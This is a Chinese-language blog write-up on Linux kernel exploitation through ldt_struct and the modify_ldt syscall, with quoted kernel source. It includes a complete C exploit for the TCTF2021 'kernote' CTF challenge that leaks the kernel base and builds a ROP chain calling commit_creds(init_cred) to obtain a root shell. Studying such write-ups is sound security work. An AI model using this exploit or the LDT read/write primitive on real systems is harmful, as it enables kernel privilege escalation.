利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写

ldt_struct与modify_ldt系统调用的介绍

ldt_struct

ldt局部段描述符表,里面存放的是进程的段描述符,段寄存器里存放的段选择子便是段描述符表中段描述符的索引。和ldt有关的结构体是ldt_struct

struct ldt_struct {
/*
* Xen requires page-aligned LDTs with special permissions. This is
* needed to prevent us from installing evil descriptors such as
* call gates. On native, we could merge the ldt_struct and LDT
* allocations, but it's not worth trying to optimize.
*/
struct desc_struct *entries;
unsigned int nr_entries; /*
* If PTI is in use, then the entries array is not mapped while we're
* in user mode. The whole array will be aliased at the addressed
* given by ldt_slot_va(slot). We use two slots so that we can allocate
* and map, and enable a new LDT without invalidating the mapping
* of an older, still-in-use LDT.
*
* slot will be -1 if this LDT doesn't have an alias mapping.
*/
int slot;
};

这个结构体的大小仅有0x10,前8字节存放的还是一个指针,如果能够控制它,那么便可以进行接下来的任意地址读写。前8字节的entries指针指向desc_struct结构体,即段描述符,定义如下:

/* 8 byte segment descriptor */
struct desc_struct {
u16 limit0;
u16 base0;
u16 base1: 8, type: 4, s: 1, dpl: 2, p: 1;
u16 limit1: 4, avl: 1, l: 1, d: 1, g: 1, base2: 8;
} __attribute__((packed));

modify_ldt系统调用

modify_ldt这个系统调用,是提供给我们用来获取或修改当前进程的LDT用的。我们看调用modify_ldt的几个用法,源码如下:

SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr ,
unsigned long , bytecount)
{
int ret = -ENOSYS; switch (func) {
case 0:
ret = read_ldt(ptr, bytecount);
break;
case 1:
ret = write_ldt(ptr, bytecount, 1);
break;
case 2:
ret = read_default_ldt(ptr, bytecount);
break;
case 0x11:
ret = write_ldt(ptr, bytecount, 0);
break;
}
/*
* The SYSCALL_DEFINE() macros give us an 'unsigned long'
* return type, but tht ABI for sys_modify_ldt() expects
* 'int'. This cast gives us an int-sized value in %rax
* for the return code. The 'unsigned' is necessary so
* the compiler does not try to sign-extend the negative
* return codes into the high half of the register when
* taking the value from int->long.
*/
return (unsigned int)ret;
}

我们除了系统调用号外传入的三个参数是func,ptr,bytecount,其中ptr指针指向的是user_desc结构体。这个结构体如下:

struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};

任意地址读

利用的函数是ldt_read,其关键源码如下:

static int read_ldt(void __user *ptr, unsigned long bytecount)
{
//...
if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) {
retval = -EFAULT;
goto out_unlock;
}
//...
out_unlock:
up_read(&mm->context.ldt_usr_sem);
return retval;
}

这个函数直接调用copy_to_user(ptr, mm->context.ldt->entries, entries_size),向用户空间读取数据,如果我们可以控制entries,那么我们就可以实现任意地址读。

如何控制entries?我们看write_ldt的源码可以看到调用alloc_ldt_struct为新的ldt_struct开辟了空间。

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//... old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock;
//...
return error;
}

再看alloc_ldt_struct的源码,调用了kamlloc去分配新空间。

static struct ldt_struct *alloc_ldt_struct(unsigned int num_entries)
{
struct ldt_struct *new_ldt;
unsigned int alloc_size; if (num_entries > LDT_ENTRIES)
return NULL; new_ldt = kmalloc(sizeof(struct ldt_struct), GFP_KERNEL);
//...

我们就可以想到通过UAF去控制ldt_struct,修改entries即可读取想要的数据。

任意地址写

利用的函数是write_ldt,其关键源码如下:

static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode)
{
//... old_ldt = mm->context.ldt;
old_nr_entries = old_ldt ? old_ldt->nr_entries : 0;
new_nr_entries = max(ldt_info.entry_number + 1, old_nr_entries); error = -ENOMEM;
new_ldt = alloc_ldt_struct(new_nr_entries);
if (!new_ldt)
goto out_unlock; if (old_ldt)
memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; //...
}

我们可以看到拷贝是memcpy(new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE),我们再看一下LDT_ENTRY_SIZE的定义

/* Maximum number of LDT entries supported. */
#define LDT_ENTRIES 8192
/* The size of each LDT entry. */
#define LDT_ENTRY_SIZE 8

可以看出拷贝的量非常大。并且在拷贝结束之后有new_ldt->entries[ldt_info.entry_number] = ldt;这样一行代码。那我们就可以通过条件竞争的方式去改变new_ldt->entries,从而实现任意地址写。

例题:TCTF2021-FINAL-kernote

exp

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <asm/ldt.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h> int fd;
size_t kernel_offset;
size_t kernel_base;
int seq_fd;
int ret;
size_t page_offset_base = 0xffff888000000000;
size_t init_cred;
size_t prepare_kernel_cred;
size_t commit_creds;
size_t pop_rdi_ret;
size_t swapgs_restore_regs_and_return_to_usermode; void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
} void set(int index)
{
ioctl(fd, 0x6666, index);
} void add(int index)
{
ioctl(fd, 0x6667, index);
} void delete(int index)
{
ioctl(fd, 0x6668, index);
} void edit(size_t data)
{
ioctl(fd, 0x6669, data);
} int main()
{
struct user_desc desc;
int pipe_fd[2] = {0};
size_t temp;
size_t *buf;
size_t search_addr; printf("\033[34m\033[1m[*] Start exploit\033[0m\n"); fd = open("/dev/kernote", O_RDWR);
if(fd<0)
ErrExit("[-] open kernote error");
/*
struct user_desc {
unsigned int entry_number;
unsigned int base_addr;
unsigned int limit;
unsigned int seg_32bit:1;
unsigned int contents:2;
unsigned int read_exec_only:1;
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1;
unsigned int useable:1;
};
*/ desc.entry_number = 0x8000 / 8;
desc.base_addr = 0xff0000;
desc.limit = 0;
desc.seg_32bit = 0;
desc.contents = 0;
desc.read_exec_only = 0;
desc.limit_in_pages = 0;
desc.seg_not_present = 0;
desc.useable = 0;
desc.lm = 0; add(0);
set(0);
delete(0); syscall(SYS_modify_ldt, 1, &desc, sizeof(desc));
while(1)
{
edit(page_offset_base);
ret = syscall(SYS_modify_ldt, 0, &temp, 8);
if(ret >= 0)
break;
page_offset_base+= 0x4000000;
}
printf("\033[32m\033[1m[+] Find page_offset_base=> \033[0m0x%lx\n", page_offset_base); pipe(pipe_fd);
buf = (size_t*) mmap(NULL, 0x8000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
search_addr = page_offset_base;
while(1)
{
edit(search_addr);
ret = fork();
if(!ret)
{
syscall(SYS_modify_ldt, 0, buf, 0x8000);
for(int i=0; i<0x1000; i++)
if(buf[i]>0xffffffff81000000 && (buf[i] & 0xfff) == 0x40)
{
kernel_base = buf[i] - 0x40;
kernel_offset = kernel_base - 0xffffffff81000000;
} write(pipe_fd[1], &kernel_base, 8);
exit(0);
} wait(NULL);
read(pipe_fd[0], &kernel_base, 8);
if(kernel_base)
break;
search_addr+= 0x8000;
} kernel_offset = kernel_base - 0xffffffff81000000;
printf("\033[32m\033[1m[+] Find kernel base=> \033[0m0x%lx\n", kernel_base);
printf("\033[32m\033[1m[+] Kernel offset=> \033[0m0x%lx\n", kernel_offset); add(1);
set(1);
delete(1); seq_fd = open("/proc/self/stat", O_RDONLY);
if(seq_fd<0)
ErrExit("[-] open seq error"); edit(0xffffffff817c21a6 + kernel_offset); init_cred = 0xffffffff8266b780 + kernel_offset;
prepare_kernel_cred = 0xffffffff810ca2b0 + kernel_offset;
commit_creds = 0xffffffff810c9dd0 + kernel_offset;
pop_rdi_ret = 0xffffffff81075c4c + kernel_offset;
swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 10 + kernel_offset; __asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;" // start at there
"mov r12, init_cred;"
"mov rbp, commit_creds;"
"mov rbx, swapgs_restore_regs_and_return_to_usermode;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, 0x88888888;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
); system("/bin/sh");
return 0;
}

利用ldt_struct 与 modify_ldt 系统调用实现任意地址读写的更多相关文章

  1. 利用msg_msg实现任意地址读写

    利用msg_msg实现任意地址读写 msgsnd和msgrcv的源码分析 内核通过msgsnd和msgrcv来进行IPC通信.内核消息分为两个部分,一个是消息头msg_msg(0x30),以及后面跟着 ...

  2. Linux下fastbin利用小结——fd覆盖与任意地址free(House of Spirit)

    linux下的fastbin是ctf中pwn题的重点出题点.去年(2015)中,XCTF就有两站是使用fastbin的利用作为pwn400的压轴题来出现,这也是我刚开始接触fastbin的利用,参考了 ...

  3. 1byte、1KB、4KB,1MB、1GB用16进制表示的范围。任意地址范围求字节数

    1byte.1KB.4KB,1MB.1GB用16进制表示的范围.任意地址范围求字节数 2018-02-12 18:27:48 望那伊人 阅读数 5032更多 分类专栏: 计算机相关   版权声明:本文 ...

  4. ecCodes 学习 利用ecCodes Python API对GRIB文件进行读写

    参考 https://www.ecmwf.int/assets/elearning/eccodes/eccodes2/story_html5.htmlhttps://confluence.ecmwf. ...

  5. haproxy利用ACL规则封禁自定义IP地址拒绝访问

    现在有一个需求就是在发版的时候希望除公司IP外的外网访问服务的时候都是拒绝访问的 现在利用haproxy 的acl规则作出限制 errorfile       403 /etc/haproxy/err ...

  6. 免费利用网页版谷歌翻译实现任意语言转换php版

    本文源发布地址: http://ourgarden.cn/2013/07/20/%E5%85%8D%E8%B4%B9%E5%88%A9%E7%94%A8%E7%BD%91%E9%A1%B5%E7%89 ...

  7. PHP利用get_headers()函数判断远程的url地址是否有效

    问题: 利用url访问远程的文件.图片.视频时有时需要请求前判断url地址是否有效. 解决办法: (PHP 5, PHP 7) get_headers — 取得服务器响应一个 HTTP 请求所发送的所 ...

  8. 利用redis限制单个时间内某个mac地址的访问次数

    一.思路 用户mac地址唯一,可以作为redis中的key,每次请求进来,利用ttl命令,判断redis中key的剩余时间,如果大于零,则利用incr进行+1操作,然后再与总的限制次数作对比. 二.代 ...

  9. 利用百度API(js),怎样通过地址获取经纬度

    根据经纬度找到具体地址:http://api.map.baidu.com/geocoder?location=纬度,经度&output=输出格式类型&key=用户密钥如:http:// ...

随机推荐

  1. input标签的事件之oninput事件

    最近在写前端的时候,用到了oninput事件.(其中也涉及了onclick) 问题:鼠标点击数字和运算符的时候,文本框里的内容到达一定长度时,会出现无法继续往后面跟随光标的问题. 解决:见下面代码 这 ...

  2. LEACH分簇算法实现和能量控制算法实现

    一.前言 1.在给定WSN的节点数目(100)前提下,节点随机分布,按照LEACH算法,实现每一轮对WSN的分簇.记录前K轮(k=10)时,网络的分簇情况,即每个节点的角色(簇头或簇成员).标记节点之 ...

  3. Deep Learning-深度学习(一)

    深度学习入门 1.人工智能.机器学习.深度学习 1.1 人工智能(AI) 一个比较宽泛的概念.即用来模拟人的智能的理论,并对这个模拟出来的智能进行延伸和开拓.通俗来讲就是要达到用机器模拟人类的聪慧来处 ...

  4. 减省 Java 小半内存,Solon v1.9.2 发布

    相对于 Spring Boot 和 Spring Cloud 的项目: 启动快 5 - 10 倍. (更快) qps 高 2- 3 倍. (更高) 运行时内存节省 1/3 ~ 1/2. (更少) 打包 ...

  5. Jmeter-记一次自动化造数引发的BeanShell写入excel实例

    一.前言 最近工作和生活说忙也忙,说不忙也不忙,但就是已经感觉很长时间没有get新的技术技能了,就是一丢丢的那种也没有,哈哈哈,今天就来讲一下最近get到的小技能吧. 工作中,由于某个需求需要几百条数 ...

  6. prim最小生成树算法(堆优化)

    prim算法原理和dijkstra算法差不多,依然不能处理负边 1 #include<bits/stdc++.h> 2 using namespace std; 3 struct edge ...

  7. 丽泽普及2022交流赛day21 社论

    A 暴力 . greater<double> -> greater<int> \(100\) -> \(50\) 代码丢了 . B dp . 考场上代码抢救一下就过 ...

  8. 转:mysql保留关键字

    原文链接:http://www.tuicool.com/articles/Brauq2e 从网上找了一个mysql的保留字列表,仅供参考. ADD ALL ALTER ANALYZE AND AS A ...

  9. 基于Vue.js2.6结合h5来实现视频播放画中画技术(Picture-in-Picture)

    原文转载自「刘悦的技术博客」https://v3u.cn/a_id_125 在开发基于vue.js的在线视频教育平台的时候,我们会注意一个小问题,就是如果用户在观看播放视频的同时,也会往下拖动窗口浏览 ...

  10. 使用fontforge修改字体,只保留数字

    设计图上的数字采用了Roboto字体,原字体文件200多k,而小程序主包最大2m,承受不起这么大的字体.因为只用到了数字,所以可以使用fontforge编辑字体,删除多余的部分. 一.下载并安装fon ...